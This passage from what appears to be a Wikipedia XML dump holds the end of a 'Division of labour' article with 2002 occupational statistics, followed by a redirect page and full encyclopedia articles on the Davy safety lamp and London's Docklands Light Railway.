*Construction trade workers  5,300,000
*Aides, ushers, guides, orderlies, and attendants     4,800,000
*Mechanics and repairs workers 4,500,000
*Technicians 4,300,000
*Cleaners, janitors, private cooks, maids &amp; housekeepers 3,700,000
*Retail sales workers 3,400,000
*Truck drivers    3,200,000
*Secretaries, stenographers, and typists    3,000,000
*Scientists 3,000,000
*Sales representatives in finance and business services  2,900,000
*Cashiers     2,900,000
*Accountants, auditors, underwriters, and other financial officers 2,600,000
*Engineers, architects, and surveyors     2,600,000
*Freight &amp; stock handlers, baggers &amp; packers, machine feeders 2,400,000
*Labourers &amp; helpers 2,400,000
*Registered nurses    2,300,000
*Financial records processing clerks     2,200,000
*Management analysts, specialists &amp; consultants in human resources, PR and labour relations  2,100,000
*Materials recording, scheduling, and distributing clerks    1,900,000
*Sales representatives in mining, manufacturing, and wholesale    1,500,000
*Childcare workers and childcare assistants 1,400,000
*Lawyers, judges and legal assistants 1,300,000
*Barbers, hairdressers, cosmeticians, pharmacists, dietitians 1,300,000
*Therapists, counselors, social workers and welfare service aides 1,200,000
*Artists, entertainers &amp; designers 1,200,000
*Police, detective, and law enforcement officers 1,200,000
*Military personnel 1,100,000
*Medical doctors, dentists, vetinarians, optometrists, and podiatrists 1,100,000
*Receptionists    1,000,000
*Security guards   1,000,000
*Working children under 16 1,000,000
*Prostitutes 1,000,000
*Farmers 968,000
*Non-financial records processing clerks, 995,000
*Inspectors (construction, production and compliance) 955,000
*Groundskeepers and gardeners (non-farm) 940,000
*Earthmoving equipment, crane, industrial truck, forklift, lorry and tractor operators 898,000
*Metal workers 826,000
*Farm workers 726,000
*Computer programmers 605,000
*Bus drivers 605,000
*Bank tellers 477,000
*Postal delivery workers, messengers &amp; couriers    468,000
*Editors, writers, reporters and proofreaders 417,000
*Religious clergy, and employees of religious institutions 393,000
*Personal services n.e.c. 348,000
*Taxi drivers and chauffeurs 340,000
*Street and door-to-door sales workers 334,000
*Corrective institution &amp; prison officers 328,000
*Doctor's and dental assistants 318,000
*Firefighting and fire prevention workers 262,000
*Electrical and electronic equipment assemblers 237,000
*Librarians, archivists, and curators 231,000
*Butchers and meat cutters 229,000
*Dressmakers, tailors and shoe repairers 189,000
*Professional photographers 178,000
*Animal caretakers (non-farm) 170,000
*Interviewers 169,000
*Airplane pilots,  airplane staff, air traffic controllers 152,000
*Bakers and baking workers 148,000
*Recreational services workers 129,000
*Telephone operators 119,000
*Oil &amp; mining extraction workers 115,000
*Railway workers 111,000
*Cabinet makers, furniture &amp; wood finishers, and other woodworkers 104,000
*Newspaper vendors 103,000
*Ship captains, sailors, mates &amp; deckhands, fishermen 98,000
*Professional athletes  95,000
*Social welfare eligibility clerks 86,000
*Sales demonstrators, promoters, and models  77,000
*Water and sewage treatment plant operators  77,000
*Forestry &amp; logging workers 77,000
*Optical goods workers 72,000
*Other precision production workers n.e.c 72,000
*Pest control workers  63,000
*Food batchmakers  54,000
*Other plant &amp; system operators 45,000
*Electric power plant operators 35,000
*Bookbinding workers   35,000
*Nursery workers 33,000
*Hand molders &amp; shapers 21,000
*Patternmakers, layout  workers, &amp; cutters 12,000
*Bridge, lock, &amp; lighthouse tenders  3,000
*Hunters &amp; trappers 2,000

These 2002 figures are just intended to provide a modest indication or illustration; of course, the way the division of labour is viewed depends greatly on the identification, classification and aggregation principles applied. A portion of migrant labour typically fails to be captured in the data.

It should be emphasized that the ways in which the division of labour may be viewed are potentially ''infinite''. This give rise to a never-ending stream of [[management]] literature. 

Normally, statisticians focus on the main occupational activity or employment status of members of the population; but of course individuals may also divide their time between different activities which are still not adequately captured in survey data. 

Consequently, it is always important in making generalisations about the division of labour to be very clear about the assumptions being made about ''how people differ'' and ''what they have in common''.

==The global division of labour==

There exist as yet few comprehensive studies of the global division of labour (an intellectual challenge for researchers), although the [[International Labour Organization|ILO]] and national statistical offices can provide plenty data on request for those game to try.

In one study, Deon Filmer estimated that 2,474 million people participated in the global non-domestic labour force in the mid-1990s. Of these around a fifth, 379 million people, worked in industry, 800 million in services, and 1,074 million in agriculture. The majority of workers in industry and services were wage &amp; salary earners - 58 percent of the industrial workforce and 65 percent of the services workforce. But a big portion were self-employed or involved in family labour. Filmer suggests the total of employees worldwide in the 1990s was about 880 million, compared with around a billion working on own account on the land (mainly peasants), and some 480 million working on own account in industry and services.

==Some useful sociological references==

Stephanie Coontz &amp; Peta Henderson, ''Women's Work, Men's Property: The Origins of Gender and Class''. hg

Ali Rattansi, ''Marx and the Division of Labour''.

Emile Durkheim, ''The Division of Labour in Society''.

Harry Braverman, ''Labor and Monopoly Capital; The Degradation of Labor in the 20th Century''

[[André Gorz]], ''The Division of Labour: The Labour Process and Class Struggle in Modern Capitalism''.

[[Bertell Ollman]], ''Sexual and social revolution''.

Herbert Gintis, Samuel Bowles, Robert T. Boyd and Ernst Fehr, ''Moral Sentiments and Material Interests: The Foundations of Cooperation in Economic Life''.

F. Froebel, F., J. Heinrichs and O. Krey, ''The New International Division of Labour''. Cambridge, UK: Cambridge University Press.

James Heartfield, &quot;The Economy of Time&quot; http://www.heartfield.pwp.blueyonder.co.uk/economy.pdf

Richard Florida, ''The rise of the creative class''.

Richard Florida, ''The flight of the creative class''.

US Bureau of Labor Statistics http://www.bls.gov/

Deon Filmer, Estimating the World at Work, a background report for World Bank's World Development Report 1995 (Washington DC, 1995).

==See also==

*[[Taylorism]]
*[[organisation]]
*[[surplus product]]
*[[hierarchy]]
*[[time use survey]]
*[[productive and unproductive labour]]

==External links==
* [http://www.fordham.edu/halsall/mod/adamsmith-summary.html Summary of Smith's example of pin-making]

[[Category:Labor]]
[[Category:Sociology]]

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    <title>Diacylglycerole</title>
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      <timestamp>2002-05-06T19:23:22Z</timestamp>
      <contributor>
        <username>Marj Tiefert</username>
        <id>27</id>
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      <comment>moving to diacylglycerol</comment>
      <text xml:space="preserve">#REDIRECT [[diacylglycerol]]</text>
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  <page>
    <title>Davy lamp</title>
    <id>8826</id>
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        <username>TimPope</username>
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      <minor />
      <comment>Category:English inventions</comment>
      <text xml:space="preserve">[[Image:Davy_lamp.png|thumb|Davy lamp]]
The '''Davy lamp''' is a candle containing safety [[lamp]] devised in [[1815]] by [[Humphry Davy]]. It was created for use in [[coal mine]]s, allowing deep seams to be mined despite the presence of [[methane]] and other flammable [[gas]]es, called [[firedamp]] or minedamp.

Davy had discovered that, to [[explosion|explode]], the gas must be heated to its [[ignition]] temperature and that if such heating is prevented, combustion cannot occur. If the flame in a lamp is surrounded by metal [[gauze]] to distribute the heat over a large area, the maximum temperature of the screen is below the ignition temperature of the gas. The first trial of a Davy lamp with a wire sieve was at [[Hebburn Colliery]] on [[9 January]] [[1816]].

The lamp also provided a crude test for the presence of gases. If inflammable gas mixtures were present, the flame of the Davy lamp burned higher with a blue tinge. Miners could also place a safety lamp close to the ground to detect gases, such as [[carbon dioxide]], that are denser than air and so could collect in depressions in the mine, if the mine air was oxygen-poor, the lamp flame would be extinguished (chokedamp).

There was some controversy, since [[George Stephenson]] also produced a similar safety lamp, called the [[Geordie lamp]] in [[1815]].

How far the difference was appreciated at the time is hard to say; supporters of both men seem to have regarded the other as having copied their man’s idea and copied it wrongly. The Stephenson lamp (with no gauze around the [[flame]]) gave a brighter light and was popular with the pitmen. The Davy lamp was simpler and cheaper to make and was popular with the mineowners.  

There were supposed safety arguments on both sides: in principle, a poorly maintained (or badly designed) Davy lamp could overheat the gauze if it met a high concentration of methane. A more serious objection to the Stephenson lamp was that it stopped being a safety lamp if the glass was broken. In the long term, the Davy lamp (or at least the principle of a gauze enclosure round the flame) won out. 

The introduction of the Davy lamp actually led to an increase in accidents in mines as the availability of the lamp encouraged the working of mines that had previously been closed for safety reasons. [http://www.bopcris.ac.uk/bopall/ref4654.html]

{{ArtificialLightSources}}

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  <page>
    <title>Docklands Light Railway</title>
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        <username>Rich Farmbrough</username>
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      <comment>Wikify dates</comment>
      <text xml:space="preserve">{{Infobox TfL line|
Line=Docklands Light Railway|
ColourName=double turquoise stripe|
TextColour=White|
YearOpened=1987|
DeepOrSurface=Primarily elevated|
RollingStock=DLR B Stock|
StationsServed=38|
LengthKm=31|
LengthMiles=19|
AnnualPassengers=60,000,000|
Depots=Poplar&lt;br /&gt;Beckton|
}}

The '''Docklands Light Railway''' ('''DLR''') is a [[light rail|light-rail]] [[public transport]] [[metro]] for the redeveloped [[Docklands]] area of eastern [[London]], [[England]]. The DLR is separate from the [[London Underground]], having separate tracks and [[rolling stock]]. The two systems are, however, integrated wherever they meet, and share a single ticketing system. The DLR appears on the London Underground’s [[Tube map]].

All the trains are computer-controlled and have no driver. However, a passenger service agent (PSA) on each train is responsible for patrolling the train, checking tickets, making announcements, and controlling the doors. PSAs can also take control of the train in case of computer failure or emergency.

Operation and maintenance of the DLR has been a private franchise since [[1992]]. The current franchise, due to expire in April [[2006]], belongs to Serco Docklands Ltd, a company jointly formed by [[Serco]] and the former DLR management team. Re-franchising is currently being undertaken with Serco and French transport group [[Keolis]] named as the two bidders who have been invited to submit best and final offers for the new seven year franchise. [[First Group]] and [[Transdev]] had pre-qualified to bid, but did not make the shortlist. Final bids were to be submitted by [[27 September]] [[2005]], and on the [[22 November]] [[2005]] [[Transport for London]] announced that Serco had been selected as the preferred bidder &lt;ref name=&quot;sercopreff&quot;&gt;Docklands Light Railway (2005). ''[http://pressroom.dlr.co.uk/latest_news/details.asp?id=101  Serco named preferred bidder for new £400m franchise]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;.

==Development==
[[image:Towergateway.jpg|thumb|right|250px|Tower Gateway station was the DLR’s original link to central London.]]

=== Initial system ===
The Docklands Light Railway was conceived in the late 1980s by the [[London Docklands Development Corporation]] (LDDC) to aid the regeneration of the docks of East London, which had been derelict since the 1960s. As originally conceived, the system was to be entirely above ground and consist of three branches, with their termini at [[Tower Gateway DLR station|Tower Gateway]], [[Stratford station|Stratford]], and [[Island Gardens DLR station]].

The initial idea was a system using modern [[tram]]-derived light-rail vehicles, with overhead current collection, manual driving, and some elements of street level running. The LDDC, however, wanted to showcase cutting-edge technology and disliked the overhead wires, and so chose an automatically driven system with [[third rail|third-rail]] current collection, but still using tram-derived vehicles. Most of the tracks were elevated, either on new lightweight concrete viaduct structures or on disused railway viaducts, with some use of disused surface level railway right of way. The system was opened by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] on [[31 July]] [[1987]], with the passenger service starting a month later on the [[31 August]].

As opened the system was still lightweight, with stations and trains only a single articulated vehicle long. The three branches together totalled 13 [[Kilometre|km]] &lt;ref name=&quot;facts&quot;&gt;Docklands Light Railway (2005). ''[http://www.tfl.gov.uk/dlr/about/facts.shtml Facts]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;, were connected by a flat triangular junction near Poplar, and services were operated between all three terminals.

===First extensions===
[[Image:Tower Gateway DLR station 3.jpg|thumb|250px|left|The view from [[Tower Gateway DLR station|Tower Gateway]] looking east shows [[Fenchurch Street railway station|Fenchurch Street]] approach tracks to the left, the original DLR line in the centre, and DLR train emerging from the tunnel to [[Bank and Monument stations|Bank]] to the right.]]
The initial system proved too lightweight for its job, as the Dockland area developed rapidly into a major financial centre and employment zone. Additionally, the Tower Gateway terminus, situated as it is at the very edge of the [[City of London]] financial district, attracted criticism for its poor connections.

In response to this, all stations and trains were extended to two-unit lengths, and the system was extended into the heart of the City of London with a tunnel into [[Bank and Monument stations|Bank underground station]], which opened in [[1991]]. This extension diverged from the initial western branch, leaving [[Tower Gateway DLR station|Tower Gateway station]] on a limb. It also rendered the initial car fleet obsolete, as their construction was not suitable for use underground ''(see Rolling Stock, below)''.

At the same time, the unserved areas in the east of the [[Docklands]] area needed better transport connections to encourage development there. This resulted in a fourth branch being constructed from [[Poplar DLR station|Poplar]] via [[Canning Town station|Canning Town transport interchange]] to [[Beckton DLR station|Beckton]], running along the north side of the [[Royal Docks]] complex. As part of this extension, one side of the original flat triangular junction was replaced with a [[grade separation|grade separated]] junction west of Poplar, and a new grade separated junction was created at the divergence of the Stratford and Beckton lines east of Poplar. Poplar station was rebuilt to provide cross-platform interchange between the Stratford and Beckton lines.

The growth of the [[Canary Wharf]] office complex required the redevelopment of [[Canary Wharf DLR station]] from a small wayside station, to a large complex with six platforms serving three rail tracks, within a large overall roof and fully integrated into the malls below the office towers.

Once Canary Wharf became a major financial employment centre, demands came to improve transport connections with residential areas to the south-east of London. This was met by an extension of the DLR from [[Island Gardens DLR station|Island Gardens]] in tunnel under the [[River Thames]] to [[Greenwich station|Greenwich]] and then on a new elevated route paralleling [[River Ravensbourne|Deptford Creek]] to an interchange at the major rail junction of [[Lewisham station|Lewisham]]. Besides providing two new rail interchanges (at Greenwich and Lewisham), this branch also serves the tourist area of Greenwich with a new station at [[Cutty Sark DLR station|Cutty Sark]].

A new eastbound branch from Canning Town to [[King George V station|King George V]], serving the [[London City Airport]], opened on [[2 December]], [[2005]]. It runs along the southern side of the [[Royal Docks]] complex (the Beckton branch runs along the north side).

=== Current system === 
[[image:dlr.canary.wharf.arp.750pix.jpg|thumb|right|250px|A Docklands Light Railway train enters the [[Canary Wharf]] interchange station from the south.]]

The Docklands Light Railway now includes 31 [[Kilometre|km]] of track &lt;ref name=&quot;facts&quot;&gt;Docklands Light Railway (2005). ''[http://www.tfl.gov.uk/dlr/about/facts.shtml Facts]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;. There are five branches: to [[Lewisham station|Lewisham]] in the south, [[Stratford station|Stratford]] in the north, [[Beckton DLR station|Beckton]] and [[King George V DLR station|King George V]] in the east and another leading into Central London (splitting to serve two nearby termini, [[Bank and Monument stations|Bank]] and [[Tower Gateway DLR station|Tower Gateway]]). Although the system allows many different combinations of routings, at present the following four routes are operated in normal service:

* Bank to Lewisham
* Tower Gateway to Beckton
* Stratford to Lewisham
* Bank to King George V

Some trains on the Stratford line turn back at [[Crossharbour and London Arena DLR station|Crossharbour and London Arena]] rather than continuing to Lewisham.

There are also occasional trains from [[Tower Gateway DLR station|Tower Gateway]] to [[Crossharbour and London Arena DLR station|Crossharbour]] and [[Lewisham station|Lewisham]].

The northern and southern branches terminate at the National Rail (mainline) stations at Stratford and Lewisham respectively. Other direct interchanges between National Rail and the DLR are at Limehouse, Canning Town and Greenwich.

There are no [[limited-stop]] trains on the DLR, so each train serves every stop along its route.

===Future developments===
With the rapid development of the eastern Docklands as part of the ‘[[Thames Gateway]]’ initiative and London’s successful bid for the [[2012 Summer Olympics]], several extensions and enhancements are either under construction or being planned&lt;ref name=&quot;dlrdev&quot;&gt;Docklands Light Railway (2005). ''[http://developments.dlr.co.uk/index.asp DLR Development Projects]'' Retrieved [[February 23]] [[2006]].&lt;/ref&gt;:

*'''Woolwich Arsenal Extension'''
::'''''Status''' - Under Construction''
::A further extension of the [[London City Airport]] branch from King George V to [[Woolwich Arsenal railway station|Woolwich Arsenal]], requiring a second pair of DLR tunnels under the River Thames. Approval and funding for this was given by the Government on [[26 February]] [[2004]], with the projected cost of £150 million expected to be met through the [[Private Finance Initiative]]. Construction began in June 2005, and is due to be completed in February [[2009]].

*'''New platforms at Stratford (Regional)'''
::'''''Status''' - Under Construction''
::Currently the DLR has only one platform at Stratford (Regional), which has a number of flaws. As well as limiting the capacity of the Stratford-Poplar branch it provides poor interchange with the rest of the mainline and tube station. Two new platforms are under construction to replace it, with the first expected to open in [[January 2007]] (with the old platfrom being closed) and followed by the second in [[May 2007]].

*'''Stratford International Extension / North London Line conversion'''
::'''''Status''' - Awaiting [[Transport &amp; Works Act]] approval from the Government''
::An extension from Canning Town to the new [[Stratford International station]], linking the Docklands with domestic and international high-speed services on the [[Channel Tunnel Rail Link]]. Four new stations will be built at Star Lane, Abbey Road, Stratford High Street, and Stratford International, with a possible fifth station between Cody Road and Canning Town. The branch would also serve [[London Underground]] and [[National Rail]] stations at [[West Ham]] and [[Stratford, London|Stratford]].  All stations will be capable of accommodating three-unit trains.

::As part of the TWA application the DLR station at Royal Victoria on the Beckton branch will also be extended to accommodate three-unit trains.  Additionally it will have a third platform.  The extra platform becomes possible because the part of the North London line due to be abandoned currently runs parallel to Royal Victoria station.&lt;ref name=&quot;rvdsplan&quot;&gt;Docklands Light Railway. ''[http://developments.dlr.co.uk/pdf/twa_documents/planningdirection/037.pdf Map showing proposed Royal Victoria station]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;

::The extension will largely run over existing track currently operated by the [[North London Line]], which would in future terminate at Stratford. The extension is projected to open early in [[2010]] and is an important part of the transport improvement package for the [[2012 Olympic Games]], which will be held on a site adjoining Stratford International. 

*'''Barking Reach Extension'''
::'''''Status''' - Being planned, Route safeguarded''
::An extension from Gallions Reach to Dagenham Dock via the riverside at Barking. This would connect the Barking Reach area, a formerly industrial area now undergoing major redevelopment, with the Docklands. This includes Creekmouth. A possible opening date according to the DLR website is [[2015]].

*'''Langdon Park station'''
::'''''Status''' - Planning Application submitted''
::Recently there has been a proposal for Langdon Park DLR station. This is to be situated between [[All Saints DLR station|All Saints]] and [[Devons Road DLR station|Devons Road]]. Proposals were first drawn up in 2000 but due to lack of funding, amongst other things, the scheme was dropped. The project was given the green light in mid-to-late 2005, and the station is expected to open in late 2007.&lt;ref name=&quot;langdon&quot;&gt;Docklands Light Railway (2005). ''[http://developments.dlr.co.uk/enhancements/langdonpark/index.shtml Langdon Park]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;

*'''Thames Wharf station'''
::'''''Status''' - Proposed''
::This station had been included as potential future development on the '''London City Airport extension''' since it was first planned. It would be located between [[Canning Town station|Canning Town]] and [[West Silvertown DLR station|West Silvertown]], due west of the western end of [[Royal Victoria Dock]]. Since the station's intended purpose is to serve the surrounding area (currently a mix of [[brownfield]] and run-down industrial sites) when it is regenerated, the development is indefinitely on-hold due to the area being safeguarded for the [[Silvertown Link]], a new thames river crossing proposed for opening by [[2015]].&lt;ref name=&quot;atoproj41&quot;&gt;AlwaysTouchOut.com (2005). ''[http://www.alwaystouchout.com/project/41 Silvertown Link]'' Retrieved [[February 24]] [[2006]].&lt;/ref&gt;

*'''Connaught Road\Silvertown Interchange station'''
::'''''Status''' - Proposed''
::A site near to [[London City Airport]] has been at least been given provision of a future possible second station on the '''London City Airport extension'''. There, it will be a possible interchange with [[Crossrail]]. It is to be located between [[London City Airport DLR station]] and [[Pontoon Dock DLR station]]. However, no plans have emerged as to when this station is to be planned and built. It may be located south of the '''Connaught Crossing'''.&lt;ref name=&quot;atoproj9&quot;&gt;AlwaysTouchOut.com (2006). ''[http://www.alwaystouchout.com/project/9 DLR to City Airport]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;

*'''Charing Cross Extension'''
::'''''Status''' - Proposed''
::In February 2006 a proposal for extending the DLR to [[Charing Cross tube station|Charing Cross station]] was revealed (running from either the [[Bank tube station|Bank]] or [[Tower Gateway DLR station|Tower Gateway]] DLR branches). First reported March 2006 &lt;ref name=&quot;mrmarch&quot;&gt;Ian Allan Publishing. ''Modern Railways Magazine''. March 2006''.&lt;/ref&gt;, the proposal is in very early stages at the moment, but would involve extending the line from in bored tunnels under Central London to Charing Cross where the disused former [[Jubilee line]] platforms would be reused. While not specifically confirmed it is implied that the scheme would also reuse the incomplete tunnels between the Charing Cross Jubilee platforms and [[Aldwych tube station|Aldwych]], which were part of the abandoned Phase 2 of the 'Fleet Line' (now the Jubilee Line). However the tunnels would need some enlargement as DLR gauge is larger than tube gauge.  Also modern safety regulations would almost certainly require a narrow walkway to be provided in the tunnel.  The two reasons reported as driving the proposal were capacity problems at Bank, having basically one interchange between the DLR and the central portion of [[London Underground|Underground]], and the difficult journeys faced by passengers from [[Kent]] and South Coast between their rail termini and the DLR.

Besides these extensions, there are plans to upgrade the lines between Bank and Lewisham, and Stratford and Poplar to allow three-unit trains. Besides the lengthening of platforms, this will require viaduct-strengthening works and in one case even moving a station slightly to the east, as most of this section dates from the initial system originally built for single-car operation. The DLR also considered running trains more frequently, but found that the necessary signalling changes would be as expensive as upgrading to longer trains, and provide fewer benefits. &lt;ref name=&quot;dlrcapen&quot;&gt;Docklands Light Railway (2005). ''[http://developments.dlr.co.uk/enhancements/dlr_capacity/index.shtml DLR Capacity Enhancement]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;

The current route projections for the trans-London [[Crossrail]] Line 1 entail interchanges with the DLR at Custom House, Stratford (Regional), and the provision for interchanges at West India Quay (with Crossrail station 'Isle of Dogs') and London City Airport (with Crossrail station 'Silvertown').&lt;ref name=&quot;atoproj1&quot;&gt;AlwaysTouchOut.com (2006). ''[http://www.alwaystouchout.com/project/1#Benchmark Crossrail]''. Retrieved [[February 23]] [[2006]].&lt;/ref&gt;

==Rolling stock==
[[Image:Dlr_emu_at_tower_gateway.jpg|thumb|right|250px|This DLR train is headed by B2K stock car 96, shown at [[Tower Gateway DLR station|Tower Gateway station]]]]
[[Image:NewDocklands.jpg|thumb|right|An artist’s impression of the new DLR stock on order from [[Bombardier Transportation]].]]
The DLR is operated by high-floor, bi-directional, single-articulated cars with four doors on each side, with each train composed of two cars. The cars have no driver’s cab, although there is a small driver’s console concealed behind a locked panel at each car end from which the Passenger Service Agent (PSA) can drive the car in an emergency. Other consoles at each door opening allow the PSA to control door closure and make announcements whilst patrolling the train. Because of the absence of a driver’s position, the fully glazed car ends provide an excellent forward (or rear) view for passengers.

Despite having high floors and being highly automated, the cars are derived from a [[Germany|German]] [[light rail|light-rail]] design intended for use in systems with elements of street running. All the cars that have operated on the system look similar, but there have been five separate types, of which three are still in operation on the DLR.

===Retired rolling stock===
The original fleet for the [[1987]] opening consisted of eleven [[light rail|light-rail]] vehicles built in [[1986]] by [[LHB]] in Germany and numbered 01 to 11. These were referred to as P86 stock, with P referring to [[Poplar DLR depot|Poplar depot]], where they were primarily maintained. These cars were built for the initial above-ground system and, because of the lack of appropriate fire-proofing, were not allowed to operate on the tunnelled extension to [[Bank and Monument stations|Bank]]. Because of this, and because adaptation to a new signalling system was too costly, these cars were sold in [[1991]] to [[Essener Verkehrs-AG]] of [[Essen|Essen, Germany]], where they were extensively rebuilt and put into service between [[1994]] and [[1998]].

In [[1989]], [[BREL]] supplied another ten LRVs, numbered 12 to 21. These were designated P89 stock and remained in operation on the DLR until the middle of the 1990s. They were also subsequently sold to Essen, where they entered service between [[1999]] and [[2004]] after major modifications had been carried out.

===Current rolling stock===
Further vehicles were required as the network grew and as the original P86 and P89 cars had to be replaced due to their unsuitability to the changed system conditions. [[Bombardier]] built 23 vehicles of B90 stock in [[1991]], 47 vehicles of B92 stock between [[1993]] and [[1995]] and 24 vehicles of B2K stock in [[2001]] and [[2002]]. The B in the type codes refers to [[Beckton DLR depot|Beckton depot]], where they are primarily maintained. They are of a common design and can be operated interchangeably in trains of two. All of them remain in service.

The current DLR fleet (at the end of [[2004]]) is:
*22–44: [[Bombardier]] B90, built [[1991]]
*45–91: [[Bombardier]] B92, built [[1993]]–[[1995]]
*92–99, 01–16: [[Bombardier]] B2K, built [[2001]]–[[2002]]

All DLR cars carried a common livery of red, blue, and white upon delivery. Over the years, several vehicles have received all-over advertising livery. A new livery of turquoise and blue was tested on B92 car 45 in the mid-1990s, but it was not adopted, and the car reverted to standard livery a few years later. Refurbishment of the B90 cars started in [[2004]], with the completed trains re-entering service in a new livery of red and blue with grey doors.

===Future rolling stock===
In May 2005, Bombardier announced that they would be providing a further 24 vehicles of a new design, which they consider superior to the current fleet. The new cars, needed for coming extensions and three-car service on the Bank–Lewisham route, are to be delivered between May [[2007]] and September [[2008]]. &lt;ref name=&quot;newstock&quot;&gt;Bombardier (1997-2006). ''[http://www.bombardier.com/en/0_0/pressleft.jsp?group=0_0&amp;lan=en&amp;action=view&amp;mode=list&amp;year=null&amp;id=2801&amp;sCateg=1_0 Bombardier Receives A $94 Million US Order From Docklands Light Railway For Automatic Light Rail Cars To Be Used In London, UK]''. Retrieved [[February 26]] [[2006]].&lt;/ref&gt;

==Fares and ticketing==
Ticketing for single and return journeys is identical to the London Underground fare-zone system, and [[Travelcard]]s that cover the correct zones are valid. One-day and season Travelcards provide considerable savings for passengers who make several journeys on different types of public transport in London.

There are also one-day and season DLR-only ‘Rover’ tickets available, plus a one-day DLR ‘Rail and River Rover’ ticket for use on the DLR and on City Cruises river boats. Oyster Pre-Pay is also available on the DLR — passengers need to both touch in and touch out their [[Oyster card]]s on the readers at the entrance / exit to the platforms, or pass through the automatic gates at selected stations.

Tickets for travel on DLR trains be must purchased from ticket machines located at the entrance to the platforms, and in theory are required before the passenger enters the platform. There are, however, no ticket barriers in DLR-only stations, and correct ticketing is enforced by on-train checks by the Passenger Service Agent. The only exceptions to this rule are [[Bank and Monument stations|Bank]], [[Canning Town station|Canning Town]], and [[Stratford station|Stratford]] stations, where the DLR platforms are located within the barrier lines of a [[London Underground]] and/or [[National Rail]] station.

==Map==
[[Image:Docklands Light Railway.svg|thumb|550px|center|A geographically-accurate map of the Docklands Light Railway]]

==Stations==
''See also: [[:Category:Docklands Light Railway stations]]''

Many DLR stations are elevated, with a few at street level, in cutting, or underground. Access to the platforms is normally by staircase, with very few stations having escalators, and with some requiring passengers to climb long flights of stairs. All stations are accessible by [[wheelchair]], however, usually by the use of [[elevator|lift]]s. The stations have high platforms, matching the floor height of the cars, so as to allow easy access to the trains, especially for passengers dependent on wheelchair or carrying buggies.

Most of the stations conform to a simple modular design dating back to the initial system, albeit extended. This design has two side platforms, each with separate access from the street, and platform canopies with a distinctive rounded roof design. Almost all stations are unmanned, although for legislative reasons the three underground stations ([[Bank and Monument stations|Bank]], [[Island Gardens DLR station|Island Gardens]], and [[Cutty Sark DLR station|Cutty Sark]]) are manned, along with a few of the busier interchange stations.

===Stations on west to east branches===
* ''Terminus:'' [[Bank and Monument stations|Bank]] for Central London
* ''Terminus:'' [[Tower Gateway DLR station|Tower Gateway]] for The [[Tower of London]]
* [[Shadwell station|Shadwell]] (the branches to Tower Gateway and Bank diverge west of Shadwell)
* [[Limehouse station|Limehouse]]
* [[Westferry DLR station|Westferry]]
* [[Poplar DLR station|Poplar]]
* [[Blackwall DLR station|Blackwall]]
* [[East India DLR station|East India]]
* [[Canning Town station|Canning Town]]
* [[Royal Victoria DLR station|Royal Victoria]]
* [[Custom House station|Custom House]]
* [[Prince Regent DLR station|Prince Regent]]
* [[Royal Albert DLR station|Royal Albert]]
* [[Beckton Park DLR station|Beckton Park]]
* [[Cyprus DLR station|Cyprus]]
* [[Gallions Reach DLR station|Gallions Reach]]
* ''Terminus:'' [[Beckton DLR station|Beckton]]

===Stations on north to south branches===
* ''Terminus:'' [[Stratford station|Stratford]]
* [[Pudding Mill Lane DLR station|Pudding Mill Lane]]
* [[Bow Church DLR station|Bow Church]]
* [[Devons Road DLR station|Devons Road]]
* Langdon Park (Proposed)
* [[All Saints DLR station|All Saints]]
* Poplar (see above)
* [[West India Quay DLR station|West India Quay]]
* [[Canary Wharf DLR station|Canary Wharf]]
* [[Heron Quays DLR station|Heron Quays]]
* [[South Quay DLR station|South Quay]]
* [[Crossharbour and London Arena DLR station|Crossharbour and London Arena]]
* [[Mudchute DLR station|Mudchute]]
* [[Island Gardens DLR station|Island Gardens]]
* [[Cutty Sark DLR station|Cutty Sark]] for [[Maritime Greenwich]]
* [[Greenwich station|Greenwich]]
* [[Deptford Bridge DLR station|Deptford Bridge]]
* [[Elverson Road DLR station|Elverson Road]]
* ''Terminus:'' [[Lewisham station|Lewisham]]

===Stations on London City Airport branch===
Opened [[December 2]] [[2005]].

*[[Canning Town DLR station|Canning Town]]
*Thames Wharf (proposed)
*[[West Silvertown DLR station|West Silvertown]]
*[[Pontoon Dock DLR station|Pontoon Dock]]
*[[London City Airport DLR station|London City Airport]]
*[[King George V DLR station|King George V]]
Due to open [[2009]]:
*[[Woolwich Arsenal railway station|Woolwich Arsenal]]

==See also==
* [[:Category:Docklands Light Railway stations]]
*[[List of rapid transit systems]]
*[[Rail transport in the United Kingdom]]
*[[UK topics]]

==References==
&lt;references /&gt;

==External links==
{{commonscat|Docklands Light Railway}}
* [http://www.tfl.gov.uk/dlr/ Docklands Light Railway website]
* [http://www.tfl.gov.uk/tfl/tube_map.shtml Tube Maps (including the DLR routes) on the Transport for London website]
* [http://bbs.keyhole.com/ubb/showthreaded.php/Cat/0/Number/96371 Collection of Google Earth locations of Docklands Light Railway stations] (Requires [http://earth.google.com Google Earth software]) from the Google Earth Community forum.


{{-}}
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; margin: 0 auto;&quot;
|- style=&quot;background: #efefef;&quot;
! scope=&quot;col&quot; | West:
| '''[[Crossings of the River Thames]]'''
! scope=&quot;col&quot; | East:
|-
| width=&quot;30%&quot; | [[Greenwich foot tunnel]]
| width=&quot;40%&quot; style=&quot;text-align: center;&quot; | '''[[Lewisham station|Lewisham]] branch''',&lt;br /&gt;between [[Island Gardens DLR station|Island Gardens]]&lt;br /&gt;and [[Cutty Sark DLR station|Cutty Sark]]
| width=&quot;30%&quot; | [[Jubilee Line]]&lt;br /&gt;between [[Canary Wharf tube station|Canary Wharf]]&lt;br /&gt;and [[North Greenwich tube station|North Greenwich]]
|-
| width=&quot;30%&quot; | [[Woolwich foot tunnel]]
| width=&quot;40%&quot; style=&quot;text-align: center;&quot; | '''[[Woolwich]] branch''',&lt;br /&gt;between [[King George V DLR station|King George V]]&lt;br /&gt;and [[Woolwich Arsenal railway station|Woolwich Arsenal]]&lt;br /&gt;''(under construction)''
| width=&quot;30%&quot; | [[Thames Gateway Bridge]]&lt;br /&gt;''(planned)''
|}

{{TFL}}
&lt;br&gt;
{{Britishmetros}}
[[Category:Electric railways]]
[[Category:Greenwich]]
[[Category:Intermodal transportation authorities]]
